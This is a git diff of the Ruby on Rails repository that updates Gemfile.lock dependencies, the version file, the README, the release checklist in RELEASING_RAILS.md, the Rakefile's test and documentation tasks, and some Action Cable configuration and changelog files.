-      tzinfo (>= 1.0.0)
-    uglifier (3.0.4)
+    sqlite3 (2.5.0)
+      mini_portile2 (~> 2.8.0)
+    sqlite3 (2.5.0-aarch64-linux-gnu)
+    sqlite3 (2.5.0-arm64-darwin)
+    sqlite3 (2.5.0-x86_64-darwin)
+    sqlite3 (2.5.0-x86_64-linux-gnu)
+    sshkit (1.23.2)
+      base64
+      net-scp (>= 1.1.2)
+      net-sftp (>= 2.1.2)
+      net-ssh (>= 2.8.0)
+      ostruct
+    stackprof (0.2.27)
+    stimulus-rails (1.3.4)
+      railties (>= 6.0.0)
+    stringio (3.1.7)
+    tailwindcss-rails (3.2.0)
+      railties (>= 7.0.0)
+      tailwindcss-ruby
+    tailwindcss-ruby (3.4.17)
+    tailwindcss-ruby (3.4.17-aarch64-linux)
+    tailwindcss-ruby (3.4.17-arm64-darwin)
+    tailwindcss-ruby (3.4.17-x86_64-darwin)
+    tailwindcss-ruby (3.4.17-x86_64-linux)
+    terser (1.2.4)
       execjs (>= 0.3.0, < 3)
-    unicode-display_width (1.1.3)
-    useragent (0.16.8)
-    vegas (0.1.11)
-      rack (>= 1.0.0)
-    w3c_validators (1.3.1)
-      json (~> 2.0)
+    thor (1.3.2)
+    thruster (0.1.16)
+    thruster (0.1.16-aarch64-linux)
+    thruster (0.1.16-arm64-darwin)
+    thruster (0.1.16-x86_64-darwin)
+    thruster (0.1.16-x86_64-linux)
+    tilt (2.6.1)
+    timeout (0.4.3)
+    tomlrb (2.0.3)
+    trailblazer-option (0.1.2)
+    trilogy (2.9.0)
+    tsort (0.2.0)
+    turbo-rails (2.0.11)
+      actionpack (>= 6.0.0)
+      railties (>= 6.0.0)
+    tzinfo (2.0.6)
+      concurrent-ruby (~> 1.0)
+    uber (0.1.0)
+    unicode-display_width (3.1.4)
+      unicode-emoji (~> 4.0, >= 4.0.4)
+    unicode-emoji (4.0.4)
+    uri (1.0.3)
+    useragent (0.16.11)
+    w3c_validators (1.3.7)
+      json (>= 1.8)
       nokogiri (~> 1.6)
-    wdm (0.1.1)
-    websocket (1.2.3)
-    websocket-driver (0.6.4)
+      rexml (~> 3.2)
+    web-console (4.2.1)
+      actionview (>= 6.0.0)
+      activemodel (>= 6.0.0)
+      bindex (>= 0.4.0)
+      railties (>= 6.0.0)
+    webmock (3.25.0)
+      addressable (>= 2.8.0)
+      crack (>= 0.3.2)
+      hashdiff (>= 0.4.0, < 2.0.0)
+    webrick (1.9.1)
+    websocket (1.2.11)
+    websocket-client-simple (0.9.0)
+      base64
+      event_emitter
+      mutex_m
+      websocket
+    websocket-driver (0.7.7)
+      base64
       websocket-extensions (>= 0.1.0)
-    websocket-extensions (0.1.2)
+    websocket-extensions (0.1.5)
+    xpath (3.2.0)
+      nokogiri (~> 1.8)
+    zeitwerk (2.7.3)
 
 PLATFORMS
+  aarch64-linux
+  arm64-darwin
   ruby
-  x64-mingw32
-  x86-mingw32
+  x86_64-darwin
+  x86_64-linux
 
 DEPENDENCIES
-  activerecord-jdbcmysql-adapter (>= 1.3.0)
-  activerecord-jdbcpostgresql-adapter (>= 1.3.0)
-  activerecord-jdbcsqlite3-adapter (>= 1.3.0)
-  arel!
+  argon2 (~> 2.3.2)
+  aws-sdk-s3
+  aws-sdk-sns
   backburner
   bcrypt (~> 3.1.11)
-  benchmark-ips
-  blade
-  blade-sauce_labs_plugin
-  byebug
-  coffee-rails
-  dalli (>= 2.2.1)
-  delayed_job
-  delayed_job_active_record
-  em-hiredis
-  erubis (~> 2.7.0)
-  hiredis
-  jquery-rails
-  json (>= 2.0.0)
-  kindlerb (~> 1.2.0)
+  bootsnap (>= 1.4.4)
+  brakeman
+  bundler-audit
+  capybara (>= 3.39)
+  connection_pool
+  cssbundling-rails
+  dalli (>= 3.0.1)
+  dartsass-rails
+  debug (>= 1.1.0)
+  google-cloud-storage (~> 1.11)
+  image_processing (~> 1.2)
+  importmap-rails (>= 1.2.3)
+  jbuilder
+  jsbundling-rails
+  json (>= 2.0.0, != 2.7.0)
+  kamal (>= 2.1.0)
+  launchy
   libxml-ruby
-  listen (>= 3.0.5, < 3.2)
-  minitest (< 5.3.4)
-  mocha (~> 0.14)
-  mysql2 (>= 0.4.4)
-  nokogiri (>= 1.6.8)
-  pg (>= 0.18.0)
-  psych (~> 2.0)
-  puma
-  qu-redis
-  que
-  queue_classic!
-  racc (>= 1.4.6)
+  listen (~> 3.3)
+  mdl (!= 0.13.0)
+  minitest
+  minitest-bisect
+  minitest-ci
+  minitest-retry
+  msgpack (>= 1.7.0)
+  mysql2 (~> 0.5, < 0.5.7)
+  nokogiri (>= 1.8.1, != 1.11.0)
+  pg (~> 1.3)
+  prism
+  propshaft (>= 0.1.7, != 1.0.1)
+  puma (>= 5.0.3)
+  queue_classic (>= 4.0.0)
+  rack (~> 3.0)
   rack-cache (~> 1.2)
   rails!
-  rake (>= 11.1)
-  rb-inotify!
-  redcarpet (~> 3.2.3)
-  redis
+  rake (>= 13)
+  redcarpet (~> 3.6.1)
+  redis (>= 4.0.1)
+  redis-namespace
+  releaser!
   resque
   resque-scheduler
-  rubocop (>= 0.47)
-  sass-rails
-  sdoc (= 1.0.0.rc1)
-  sequel
+  rexml
+  rouge
+  rubocop (= 1.79.2)
+  rubocop-md
+  rubocop-minitest
+  rubocop-packaging
+  rubocop-performance
+  rubocop-rails
+  rubocop-rails-omakase
+  rubyzip (~> 2.0)
+  sdoc (~> 2.6.4)
+  selenium-webdriver (>= 4.20.0)
   sidekiq
   sneakers
-  sqlite3 (~> 1.3.6)
+  solid_cable
+  solid_cache
+  solid_queue
+  sprockets-rails (>= 2.0.0)
+  sqlite3 (>= 2.1)
   stackprof
-  sucker_punch
-  turbolinks (~> 5)
+  stimulus-rails
+  tailwindcss-rails
+  terser (>= 1.1.4)
+  thruster
+  trilogy (>= 2.7.0)
+  turbo-rails
   tzinfo-data
-  uglifier (>= 1.3.0)
-  w3c_validators
+  uri (>= 0.13.1)
+  useragent
+  w3c_validators (~> 1.3.6)
   wdm (>= 0.1.0)
-  websocket-client-simple!
+  web-console
+  webmock
+  webrick
+  websocket-client-simple
 
 BUNDLED WITH
-   1.14.3
+   2.7.2
diff --git a/MIT-LICENSE b/MIT-LICENSE
index 6b3cead1a75c8..f12cfa766c555 100644
--- a/MIT-LICENSE
+++ b/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/RAILS_VERSION b/RAILS_VERSION
index 8ea10160818e7..69640086a3d93 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-5.1.0.alpha
+8.2.0.alpha
diff --git a/README.md b/README.md
index a2b726ea6cee3..213345ff10a7f 100644
--- a/README.md
+++ b/README.md
@@ -1,89 +1,102 @@
 # Welcome to Rails
 
-Rails is a web-application framework that includes everything needed to
+## What's Rails?
+
+Rails is a web application framework that includes everything needed to
 create database-backed web applications according to the
-[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model-view-controller)
+[Model-View-Controller (MVC)](https://en.wikipedia.org/wiki/Model-view-controller)
 pattern.
 
 Understanding the MVC pattern is key to understanding Rails. MVC divides your
-application into three layers, each with a specific responsibility.
+application into three layers: Model, View, and Controller, each with a specific responsibility.
+
+## Model layer
 
-The _Model layer_ represents your domain model (such as Account, Product,
-Person, Post, etc.) and encapsulates the business logic that is specific to
+The _**Model layer**_ represents the domain model (such as Account, Product,
+Person, Post, etc.) and encapsulates the business logic specific to
 your application. In Rails, database-backed model classes are derived from
-`ActiveRecord::Base`. Active Record allows you to present the data from
+`ActiveRecord::Base`. [Active Record](activerecord/README.rdoc) allows you to present the data from
 database rows as objects and embellish these data objects with business logic
-methods. You can read more about Active Record in its [README](activerecord/README.rdoc).
+methods.
 Although most Rails models are backed by a database, models can also be ordinary
 Ruby classes, or Ruby classes that implement a set of interfaces as provided by
-the Active Model module. You can read more about Active Model in its [README](activemodel/README.rdoc).
+the [Active Model](activemodel/README.rdoc) module.
+
+## View layer
+
+The _**View layer**_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files). Views are typically rendered to generate a controller response
+or to generate the body of an email. In Rails, View generation is handled by [Action View](actionview/README.rdoc).
+
+## Controller layer
 
-The _Controller layer_ is responsible for handling incoming HTTP requests and
-providing a suitable response. Usually this means returning HTML, but Rails controllers
+The _**Controller layer**_ is responsible for handling incoming HTTP requests and
+providing a suitable response. Usually, this means returning HTML, but Rails controllers
 can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and
 manipulate models, and render view templates in order to generate the appropriate HTTP response.
 In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and
 controller classes are derived from `ActionController::Base`. Action Dispatch and Action Controller
-are bundled together in Action Pack. You can read more about Action Pack in its
-[README](actionpack/README.rdoc).
+are bundled together in [Action Pack](actionpack/README.rdoc).
 
-The _View layer_ is composed of "templates" that are responsible for providing
-appropriate representations of your application's resources. Templates can
-come in a variety of formats, but most view templates are HTML with embedded
-Ruby code (ERB files). Views are typically rendered to generate a controller response,
-or to generate the body of an email. In Rails, View generation is handled by Action View.
-You can read more about Action View in its [README](actionview/README.rdoc).
-
-Active Record, Active Model, Action Pack, and Action View can each be used independently outside Rails.
-In addition to that, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library
-to generate and send emails; Active Job ([README](activejob/README.md)), a
-framework for declaring jobs and making them run on a variety of queueing
-backends; Action Cable ([README](actioncable/README.md)), a framework to
-integrate WebSockets with a Rails application;
-and Active Support ([README](activesupport/README.rdoc)), a collection
-of utility classes and standard library extensions that are useful for Rails,
-and may also be used independently outside Rails.
+## Frameworks and libraries
+
+[Active Record](activerecord/README.rdoc), [Active Model](activemodel/README.rdoc), [Action Pack](actionpack/README.rdoc), and [Action View](actionview/README.rdoc) can each be used independently outside Rails.
+
+In addition to that, Rails also comes with:
+
+- [Action Mailer](actionmailer/README.rdoc), a library to generate and send emails
+- [Action Mailbox](actionmailbox/README.md), a library to receive emails within a Rails application
+- [Active Job](activejob/README.md), a framework for declaring jobs and making them run on a variety of queuing backends
+- [Action Cable](actioncable/README.md), a framework to integrate WebSockets with a Rails application
+- [Active Storage](activestorage/README.md), a library to attach cloud and local files to Rails applications
+- [Action Text](actiontext/README.md), a library to handle rich text content
+- [Active Support](activesupport/README.rdoc), a collection of utility classes and standard library extensions that are useful for Rails, and may also be used independently outside Rails
 
 ## Getting Started
 
 1. Install Rails at the command prompt if you haven't yet:
 
-        $ gem install rails
+	```bash
+	$ gem install rails
+	```
 
 2. At the command prompt, create a new Rails application:
 
-        $ rails new myapp
+	```bash
+	$ rails new myapp
+	```
 
    where "myapp" is the application name.
 
 3. Change directory to `myapp` and start the web server:
 
-        $ cd myapp
-        $ rails server
-
+	```bash
+	$ cd myapp
+	$ bin/rails server
+	```
    Run with `--help` or `-h` for options.
 
-4. Using a browser, go to `http://localhost:3000` and you'll see:
-"Yay! You’re on Rails!"
+4. Go to `http://localhost:3000` and you'll see the Rails bootscreen with your Rails and Ruby versions.
 
 5. Follow the guidelines to start developing your application. You may find
    the following resources handy:
-    * [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
-    * [Ruby on Rails Guides](http://guides.rubyonrails.org)
-    * [The API Documentation](http://api.rubyonrails.org)
-    * [Ruby on Rails Tutorial](http://www.railstutorial.org/book)
+    * [Getting Started with Rails](https://guides.rubyonrails.org/getting_started.html)
+    * [Ruby on Rails Guides](https://guides.rubyonrails.org)
+    * [The API Documentation](https://api.rubyonrails.org)
 
 ## Contributing
 
 We encourage you to contribute to Ruby on Rails! Please check out the
-[Contributing to Ruby on Rails guide](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](http://contributors.rubyonrails.org)
-
-Everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/).
+[Contributing to Ruby on Rails guide](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](https://contributors.rubyonrails.org)
 
-## Code Status
+Trying to report a possible security vulnerability in Rails? Please
+check out our [security policy](https://rubyonrails.org/security) for
+guidelines about how to proceed.
 
-[![Build Status](https://travis-ci.org/rails/rails.svg?branch=master)](https://travis-ci.org/rails/rails)
+Everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](https://rubyonrails.org/conduct).
 
 ## License
 
-Ruby on Rails is released under the [MIT License](http://www.opensource.org/licenses/MIT).
+Ruby on Rails is released under the [MIT License](https://opensource.org/licenses/MIT).
diff --git a/RELEASING_RAILS.md b/RELEASING_RAILS.md
index 10a8bca3b3c11..3d05c0409a984 100644
--- a/RELEASING_RAILS.md
+++ b/RELEASING_RAILS.md
@@ -1,88 +1,36 @@
 # Releasing Rails
 
-In this document, we'll cover the steps necessary to release Rails.  Each
-section contains steps to take during that time before the release.  The times
-suggested in each header are just that: suggestions.  However, they should
+In this document, we'll cover the steps necessary to release Rails. Each
+section contains steps to take during that time before the release. The times
+suggested in each header are just that: suggestions. However, they should
 really be considered as minimums.
 
 ## 10 Days before release
 
-Today is mostly coordination tasks.  Here are the things you must do today:
+Today is mostly coordination tasks. Here are the things you must do today:
 
-### Is the CI green?  If not, make it green. (See "Fixing the CI")
+### Is the CI green? If not, make it green. (See "Fixing the CI")
 
-Do not release with a Red CI.  You can find the CI status here:
+Do not release with a Red CI. You can find the CI status here:
 
 ```
-http://travis-ci.org/rails/rails
+https://buildkite.com/rails/rails
 ```
 
-### Is Sam Ruby happy?  If not, make him happy.
-
-Sam Ruby keeps a [test suite](https://github.com/rubys/awdwr) that makes
-sure the code samples in his book
-([Agile Web Development with Rails](https://pragprog.com/titles/rails5/agile-web-development-with-rails-5th-edition))
-all work.  These are valuable system tests
-for Rails.  You can check the status of these tests here:
-
-[http://intertwingly.net/projects/dashboard.html](http://intertwingly.net/projects/dashboard.html)
-
-Do not release with Red AWDwR tests.
-
-### Do we have any Git dependencies?  If so, contact those authors.
+### Do we have any Git dependencies? If so, contact those authors.
 
 Having Git dependencies indicates that we depend on unreleased code.
 Obviously Rails cannot be released when it depends on unreleased code.
 Contact the authors of those particular gems and work out a release date that
 suits them.
 
-### Contact the security team (either tenderlove or rafaelfranca)
-
-Let them know of your plans to release.  There may be security issues to be
-addressed, and that can impact your release date.
-
-### Notify implementors.
-
-Ruby implementors have high stakes in making sure Rails works.  Be kind and
-give them a heads up that Rails will be released soonish.
-
-This is only required for major and minor releases, bugfix releases aren't a
-big enough deal, and are supposed to be backward compatible.
-
-Send an email just giving a heads up about the upcoming release to these
-lists:
-
-* team@jruby.org
-* community@rubini.us
-* rubyonrails-core@googlegroups.com
-
-Implementors will love you and help you.
+### Announce your plans to the rest of the team on Basecamp
 
-### 3 Days before release
-
-This is when you should release the release candidate.  Here are your tasks
-for today:
-
-### Is the CI green?  If not, make it green.
-
-### Is Sam Ruby happy?  If not, make him happy.
-
-### Contact the security team.  CVE emails must be sent on this day.
-
-### Create a release branch.
-
-From the stable branch, create a release branch.  For example, if you're
-releasing Rails 3.0.10, do this:
-
-```
-[aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10
-Switched to a new branch '3-0-10'
-[aaron@higgins rails (3-0-10)]$
-```
+Let them know of your plans to release.
 
 ### Update each CHANGELOG.
 
-Many times commits are made without the CHANGELOG being updated.  You should
+Many times commits are made without the CHANGELOG being updated. You should
 review the commits since the last release, and fill in any missing information
 for each CHANGELOG.
 
@@ -93,103 +41,106 @@ You can review the commits for the 3.0.10 release like this:
 ```
 
 If you're doing a stable branch release, you should also ensure that all of
-the CHANGELOG entries in the stable branch are also synced to the master
+the CHANGELOG entries in the stable branch are also synced to the main
 branch.
 
-### Update the RAILS_VERSION file to include the RC.
+## Day of release
+
+If making multiple releases. Publish them in order from oldest to newest, to
+ensure that the "greatest" version also shows up in npm and GitHub Releases as
+"latest".
 
-### Build and test the gem.
+### Put the new version in the RAILS_VERSION file.
+
+Include an RC number if appropriate, e.g. `6.0.0.rc1`.
 
-Run `rake install` to generate the gems and install them locally. Then try
-generating a new app and ensure that nothing explodes.
+### Build and test the gem.
 
-Verify that Action Cable and Action View's package.json files are updated with
-the RC version.
+Run `rake install` to generate the gems and install them locally. You can now
+use the version installed locally to generate a new app and check if everything
+is working as expected.
 
 This will stop you from looking silly when you push an RC to rubygems.org and
 then realize it is broken.
 
-### Release to RubyGems and NPM.
+### Check credentials for GitHub
 
-IMPORTANT: The Action Cable client and Action View's UJS adapter are released
-as NPM packages, so you must have Node.js installed, have an NPM account
-(npmjs.com), and be a package owner for `actioncable` and `rails-ujs` (you can
-check this via `npm owner ls actioncable` and `npm owner ls rails-ujs`) in
-order to do a full release. Do not release until you're set up with NPM!
+For GitHub run `gh auth status` to check that you are logged in (run `gh login` if not).
 
-Run `rake release`. This will populate the gemspecs and NPM package.json with
-the current RAILS_VERSION, commit the changes, tag it, and push the gems to
-rubygems.org.
+The release task will sign the release tag. If you haven't got commit signing
+set up, use https://git-scm.com/book/en/v2/Git-Tools-Signing-Your-Work as a
+guide. You can generate keys with the GPG suite from here: https://gpgtools.org.
 
-Here are the commands that `rake release` uses so you can understand what to do
-in case anything goes wrong:
+Run `rake prep_release` to prepare the release. This will populate the gemspecs and
+npm package.json with the current RAILS_VERSION, add the header to the CHANGELOGs,
+build the gems, and check if bundler can resolve the dependencies.
 
-```
-$ rake all:build
-$ git commit -am'updating RAILS_VERSION'
-$ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1
-$ git push
-$ git push --tags
-$ for i in $(ls pkg); do gem push $i; npm publish; done
-```
+You can now inspect the results in the diff and see if you are happy with the
+changes.
+
+To release, Run `rake release`. This will commit the changes, tag it, and create a GitHub
+release with the proper release notes in draft mode.
+
+Open the corresponding GitHub release draft and check that the release notes
+are correct. If everything is fine, publish the release.
+
+### Publish the gems
+
+To publish the gems approve the [Release workflow in GitHub Actions](https://github.com/rails/rails/actions/workflows/release.yml),
+that was created after the release was published.
 
 ### Send Rails release announcements
 
 Write a release announcement that includes the version, changes, and links to
-GitHub where people can find the specific commit list.  Here are the mailing
+GitHub where people can find the specific commit list. Here are the mailing
 lists where you should announce:
 
-* rubyonrails-core@googlegroups.com
-* rubyonrails-talk@googlegroups.com
-* ruby-talk@ruby-lang.org
+* [rubyonrails-core](https://discuss.rubyonrails.org/c/rubyonrails-core)
+* [rubyonrails-talk](https://discuss.rubyonrails.org/c/rubyonrails-talk)
+
+Use Markdown format for your announcement. Remember to ask people to report
+issues with the release candidate to the rubyonrails-core forum.
 
-Use Markdown format for your announcement.  Remember to ask people to report
-issues with the release candidate to the rails-core mailing list.
+NOTE: For patch releases, there's a `rake announce` task to generate the release
+post. It supports multiple patch releases too:
+
+```
+VERSIONS="5.0.5.rc1,5.1.3.rc1" rake announce
+```
 
 IMPORTANT: If any users experience regressions when using the release
-candidate, you *must* postpone the release.  Bugfix releases *should not*
+candidate, you *must* postpone the release. Bugfix releases *should not*
 break existing applications.
 
 ### Post the announcement to the Rails blog.
 
-If you used Markdown format for your email, you can just paste it into the
-blog.
-
-* http://weblog.rubyonrails.org
-
-### Post the announcement to the Rails Twitter account.
+The blog at https://rubyonrails.org/blog is built from
+https://github.com/rails/website.
 
-## Time between release candidate and actual release
+Create a file named like
+`_posts/$(date +'%F')-Rails-<versions>-have-been-released.markdown`
 
-Check the rails-core mailing list and the GitHub issue list for regressions in
-the RC.
-
-If any regressions are found, fix the regressions and repeat the release
-candidate process.  We will not release the final until 72 hours after the
-last release candidate has been pushed.  This means that if users find
-regressions, the scheduled release date must be postponed.
-
-When you fix the regressions, do not create a new branch.  Fix them on the
-stable branch, then cherry pick the commit to your release branch.  No other
-commits should be added to the release branch besides regression fixing commits.
+Add YAML frontmatter
+```
+---
+layout: post
+title: 'Rails <VERSIONS> have been released!'
+categories: releases
+author: <your handle>
+published: true
+date: <YYYY-MM-DD or `date +%F`>
+---
+```
 
-## Day of release
+Use the markdown generated by `rake announce` earlier as a base for the post.
+Add some context for users as to the purpose of this release (bugfix/security).
 
-Many of these steps are the same as for the release candidate, so if you need
-more explanation on a particular step, see the RC steps.
+If this is a part of the latest release series, update `_data/version.yml` so
+that the homepage points to the latest version.
 
-Today, do this stuff in this order:
+### Post the announcement to the Rails X account.
 
-* Apply security patches to the release branch
-* Update CHANGELOG with security fixes
-* Update RAILS_VERSION to remove the rc
-* Build and test the gem
-* Release the gems
-* If releasing a new stable version:
-  - Trigger stable docs generation (see below)
-  - Update the version in the home page
-* Email security lists
-* Email general announcement lists
+## Security releases
 
 ### Emailing the Rails security announce list
 
@@ -203,11 +154,11 @@ Email the security reports to:
 * oss-security@lists.openwall.com
 
 Be sure to note the security fixes in your announcement along with CVE numbers
-and links to each patch.  Some people may not be able to upgrade right away,
+and links to each patch. Some people may not be able to upgrade right away,
 so we need to give them the security fixes in patch form.
 
 * Blog announcements
-* Twitter announcements
+* X announcements
 * Merge the release branch to the stable branch
 * Drink beer (or other cocktail)
 
diff --git a/Rakefile b/Rakefile
index 202eb5e6fc8e3..8c58b65d8c467 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,42 +1,191 @@
+# frozen_string_literal: true
+
 require "net/http"
 
-$:.unshift File.expand_path("..", __FILE__)
+$:.unshift __dir__
 require "tasks/release"
 require "railties/lib/rails/api/task"
-
-desc "Build gem files for all projects"
-task build: "all:build"
-
-desc "Prepare the release"
-task prep_release: "all:prep_release"
-
-desc "Release all gems to rubygems and create a tag"
-task release: "all:release"
+require "tools/preview_docs"
 
 desc "Run all tests by default"
 task default: %w(test test:isolated)
 
-%w(test test:isolated package gem).each do |task_name|
+%w(test test:isolated).each do |task_name|
   desc "Run #{task_name} task for all projects"
   task task_name do
     errors = []
-    FRAMEWORKS.each do |project|
+    Releaser::FRAMEWORKS.each do |project|
       system(%(cd #{project} && #{$0} #{task_name} --trace)) || errors << project
     end
     fail("Errors in #{errors.join(', ')}") unless errors.empty?
   end
 end
 
-desc "Smoke-test all projects"
-task :smoke do
-  (FRAMEWORKS - %w(activerecord)).each do |project|
-    system %(cd #{project} && #{$0} test:isolated --trace)
+Releaser::FRAMEWORKS.each do |framework|
+  namespace framework do
+    desc "Run tests for #{framework}"
+    task :test do
+      ok = system(%(cd #{framework} && #{$0} test --trace))
+      fail("Errors in #{framework}") unless ok
+    end
+
+    desc "Run isolated tests for #{framework}"
+    task :isolated do
+      # Active Storage doesn't define a test:isolated task; explicitly fail
+      if framework == "activestorage"
+        abort "activestorage:isolated is not supported"
+      else
+        ok = system(%(cd #{framework} && #{$0} test:isolated --trace))
+        fail("Errors in #{framework}") unless ok
+      end
+    end
   end
-  system %(cd activerecord && #{$0} sqlite3:isolated_test --trace)
 end
 
-desc "Install gems for all projects."
-task install: "all:install"
+namespace :activejob do
+  activejob_adapters = %w(async inline queue_classic resque sidekiq sneakers backburner test)
+  activejob_adapters.delete("queue_classic") if defined?(JRUBY_VERSION)
+
+  desc "Run Active Job integration tests for all adapters"
+  task :integration do
+    ok = system(%(cd activejob && #{$0} test:integration --trace))
+    fail("Errors in activejob integration") unless ok
+  end
+
+  activejob_adapters.each do |adapter|
+    namespace adapter do
+      desc "Run tests for activejob #{adapter} adapter"
+      task :test do
+        ok = system(%(cd activejob && #{$0} test:#{adapter} --trace))
+        fail("Errors in activejob:#{adapter}") unless ok
+      end
+
+      desc "Run isolated tests for activejob #{adapter} adapter"
+      task :isolated do
+        ok = system(%(cd activejob && #{$0} test:isolated:#{adapter} --trace))
+        fail("Errors in activejob:#{adapter}") unless ok
+      end
+
+      desc "Run Active Job #{adapter} adapter integration tests"
+      task :integration do
+        ok = system(%(cd activejob && #{$0} test:integration:#{adapter} --trace))
+        fail("Errors in activejob:#{adapter} integration") unless ok
+      end
+    end
+  end
+end
+
+namespace :activerecord do
+  %w(mysql2 trilogy postgresql sqlite3 sqlite3_mem).each do |adapter|
+    namespace adapter do
+      desc "Run Active Record #{adapter} adapter tests"
+      task :test do
+        ok = system(%(cd activerecord && #{$0} test:#{adapter} --trace))
+        fail("Errors in activerecord:#{adapter}") unless ok
+      end
+
+      desc "Run Active Record #{adapter} adapter isolated tests"
+      task :isolated do
+        ok = system(%(cd activerecord && #{$0} test:isolated:#{adapter} --trace))
+        fail("Errors in activerecord:#{adapter} isolated") unless ok
+      end
+
+      desc "Run Active Record #{adapter} adapter integration tests"
+      task :integration do
+        ok = system(%(cd activerecord && #{$0} test:integration:active_job:#{adapter} --trace))
+        fail("Errors in activerecord:#{adapter} integration") unless ok
+      end
+    end
+  end
+
+  desc "Run Active Record integration tests for all adapters"
+  task :integration do
+    ok = system(%(cd activerecord && #{$0} test:integration:active_job --trace))
+    fail("Errors in activerecord integration") unless ok
+  end
+
+  namespace :db do
+    desc "Build MySQL and PostgreSQL test databases"
+    task :create do
+      ok = system(%(cd activerecord && #{$0} db:create --trace))
+      fail("Errors in activerecord db:create") unless ok
+    end
+
+    desc "Drop MySQL and PostgreSQL test databases"
+    task :drop do
+      ok = system(%(cd activerecord && #{$0} db:drop --trace))
+      fail("Errors in activerecord db:drop") unless ok
+    end
+
+    desc "Rebuild MySQL and PostgreSQL test databases"
+    task :rebuild do
+      ok = system(%(cd activerecord && #{$0} db:mysql:rebuild --trace))
+      ok &&= system(%(cd activerecord && #{$0} db:postgresql:rebuild --trace))
+      fail("Errors in activerecord db:rebuild") unless ok
+    end
+
+    namespace :mysql do
+      desc "Build Active Record MySQL test databases"
+      task :build do
+        ok = system(%(cd activerecord && #{$0} db:mysql:build --trace))
+        fail("Errors in activerecord db:mysql:build") unless ok
+      end
+
+      desc "Drop Active Record MySQL test databases"
+      task :drop do
+        ok = system(%(cd activerecord && #{$0} db:mysql:drop --trace))
+        fail("Errors in activerecord db:mysql:drop") unless ok
+      end
+
+      desc "Rebuild Active Record MySQL test databases"
+      task :rebuild do
+        ok = system(%(cd activerecord && #{$0} db:mysql:rebuild --trace))
+        fail("Errors in activerecord db:mysql:rebuild") unless ok
+      end
+    end
+
+    namespace :postgresql do
+      desc "Build Active Record PostgreSQL test databases"
+      task :build do
+        ok = system(%(cd activerecord && #{$0} db:postgresql:build --trace))
+        fail("Errors in activerecord db:postgresql:build") unless ok
+      end
+
+      desc "Drop Active Record PostgreSQL test databases"
+      task :drop do
+        ok = system(%(cd activerecord && #{$0} db:postgresql:drop --trace))
+        fail("Errors in activerecord db:postgresql:drop") unless ok
+      end
+
+      desc "Rebuild Active Record PostgreSQL test databases"
+      task :rebuild do
+        ok = system(%(cd activerecord && #{$0} db:postgresql:rebuild --trace))
+        fail("Errors in activerecord db:postgresql:rebuild") unless ok
+      end
+    end
+  end
+end
+
+desc "Smoke-test all projects"
+task :smoke, [:frameworks, :isolated] do |task, args|
+  frameworks = args[:frameworks] ? args[:frameworks].split(" ") : Releaser::FRAMEWORKS
+  # The arguments are positional, and users may want to specify only the isolated flag.. so we allow 'all' as a default for the first argument:
+  if frameworks.include?("all")
+    frameworks = Releaser::FRAMEWORKS
+  end
+
+  isolated = args[:isolated].nil? || args[:isolated] == "true"
+  test_task = isolated ? "test:isolated" : "test"
+
+  (frameworks - ["activerecord"]).each do |project|
+    system %(cd #{project} && #{$0} #{test_task} --trace)
+  end
+
+  if frameworks.include? "activerecord"
+    test_task = isolated ? "sqlite3:isolated_test" : "sqlite3:test"
+    system %(cd activerecord && #{$0} #{test_task} --trace)
+  end
+end
 
 desc "Generate documentation for the Rails framework"
 if ENV["EDGE"]
@@ -45,8 +194,20 @@ else
   Rails::API::StableTask.new("rdoc")
 end
 
-desc "Bump all versions to match RAILS_VERSION"
-task update_versions: "all:update_versions"
+desc "Generate documentation for previewing"
+task :preview_docs do
+  FileUtils.mkdir_p("preview")
+  PreviewDocs.new.render("preview")
+
+  system(%(cd guides && #{$0} guides:generate --trace))
+
+  Rake::Task[:rdoc].invoke
+
+  FileUtils.mv("doc/rdoc", "preview/api")
+  FileUtils.mv("guides/output", "preview/guides")
+
+  system("tar -czf preview.tar.gz -C preview .")
+end
 
 # We have a webhook configured in GitHub that gets invoked after pushes.
 # This hook triggers the following tasks:
diff --git a/actioncable/.babelrc b/actioncable/.babelrc
new file mode 100644
index 0000000000000..4f0c469c60e98
--- /dev/null
+++ b/actioncable/.babelrc
@@ -0,0 +1,8 @@
+{
+  "presets": [
+    ["env", { "modules": false, "loose": true } ]
+  ],
+  "plugins": [
+    "external-helpers"
+  ]
+}
diff --git a/actioncable/.gitignore b/actioncable/.gitignore
index 0a04b297867d1..93070addd7e69 100644
--- a/actioncable/.gitignore
+++ b/actioncable/.gitignore
@@ -1,2 +1,3 @@
-/lib/assets/compiled
-/tmp
+/src
+/test/javascript/compiled/
+/tmp/
diff --git a/actioncable/CHANGELOG.md b/actioncable/CHANGELOG.md
index 7657a05077948..ca72310999d75 100644
--- a/actioncable/CHANGELOG.md
+++ b/actioncable/CHANGELOG.md
@@ -1,43 +1,2 @@
-*   Redis subscription adapters now support `channel_prefix` option in `cable.yml`
 
-    Avoids channel name collisions when multiple apps use the same Redis server.
-
-    *Chad Ingram*
-
-*   Permit same-origin connections by default.
-
-    Added new option `config.action_cable.allow_same_origin_as_host = false`
-    to disable this behaviour.
-
-    *Dávid Halász*, *Matthew Draper*
-
-*   Prevent race where the client could receive and act upon a
-    subscription confirmation before the channel's `subscribed` method
-    completed.
-
-    Fixes #25381.
-
-    *Vladimir Dementyev*
-
